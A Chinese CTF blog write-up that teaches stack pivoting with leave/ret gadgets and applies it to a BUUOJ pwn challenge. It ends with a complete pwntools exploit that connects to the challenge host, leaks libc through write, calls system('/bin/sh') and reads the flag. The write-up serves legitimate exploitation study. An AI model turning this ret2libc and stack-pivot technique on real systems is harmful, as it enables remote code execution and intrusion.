文章目录
前言
菜鸡总结,如有不对,望各位大佬及时指点,以免误人子弟。
0x1 :基本知识:
想必大家都知道用栈迁移技术来解决的问题了吧———溢出的长度不够,只能覆盖到返回地址,至于后面需要构造的rop链的长度显然是不够的。
如果大家对于C语言调用栈还不是很了解的话,建议了解之后再往下看,因为这个对于了解栈迁移有很大的帮助。可以看我的博客C语言调用栈 ,也可以自行去百度上面了解。
下面讲一下栈迁移用到的最关键的两个汇编指令leave指令和ret指令。其作用就是用来还原栈空间的。
其作用大概就是这样:
0x2 :利用思路 :
利用前提:(1)存在两个变量的输入,如果只能输入一次的话,那必然无法造成溢出,其中一个输入buf变量刚好能溢出到返回地址,而另一个输入变量s的内容应该是存放到bss段的(目前我做到的都存到bss段)。
利用思路:一个栈空间长度不够,我既然能够输入两次,那我为什么不把这两个栈空间串联起来,就像把它变成一个栈一样(当然实质并不是这样的),这样的栈空间不就足够了吗?重点就是怎么样把两个栈串联起来呢?重点就是leave和ret指令。
首先我们知道调用栈的过程会保存栈布局,并且会移动ebp、esp以此来形成新的栈帧。那和leave ret指令有什么关系呢?
首先我们要知道栈迁移的payload的构成。下面是以32位的libc题型为例画的示意图
我们重点来讲一讲函数调用完以后的返回过程,我们是怎么样串联起来的。
(1)第一个leave指令:它先将栈空间清空,将esp弄了回来,然后将bss段的地址传给了ebp。
(2)第一个ret指令:它将带有leave和ret指令的地址传给了eip,那么接下来程序又会跳转到leave处adow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxMDMyODA3,size_16,color_FFFFFF,t_70)
(3)第二个leave指令:是不是很熟悉和c语言函数调用栈,先push ebp,然后mov ebp esp。只是这里不一样的是 这里是mov esp ebp。但其目的都是让ebp与esp处在一起,
(4)第二个ret指令:将write_plt_addr传给eip,执行write函数。
总共返回时的流程为:
0x3 :实例讲解
题目链接:[Black Watch 入群题]PWN
程序分析:32位程序,开启了NX保护。打开IDA,查看一下源代码
代码分析:上文分析过了,漏洞利用:栈迁移技巧,然后发现没有system函数而且开启了NX保护,所以利用libc的来泄露system函数。本题:栈迁移 + libc。libc题型不会的可以看我的 PWN题型之Ret2libc
exp :
from pwn import *
#r = process("./pwn")
r = remote("node4.buuoj.cn",26026)
e = ELF("./pwn")
context(log_level = 'debug')
libc = ELF("./libc-2.23.so")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048511
payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)
offset = 0x18
payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.send(payload2)
write_addr = u32(r.recv(4))
print(hex(write_addr))
#pause()
base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.recvuntil("What is your name?")
r.sendline(payload3)
payload4 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.sendline(payload4)
r.sendline("cat flag")
r.interactive()
这里有一个需要注意的点就是,第二个payload发送是用的send,而不是sendline,这里我卡了半天。我觉得这和read函数的读取机制有关系,因为read函数是会读取\n的,当你发送的内容没有溢出的话,它会输出下来,但是当你溢出时他只会输出最多的字节数。具体的原理我也是还没搞懂。
总结:
栈迁移就是将这个空间不够的栈劫持(转移)到我能够写入的一个地方,只要这个地方的内容我提前布局好,就能想你想做的事情,我觉得就是两个栈空间结合起来,以此来扩大空间。
其实如果不是很懂得话,只需要记住:两个payload加起来,然后与之前的想必中间多了一个bss_addr和leave_ret_addr,并且偏移量只是到ebp处。但是如果只是知道做题而不懂原理我是一点作用都没有的,不要为了做题而做题,做题是为了掌握知识点。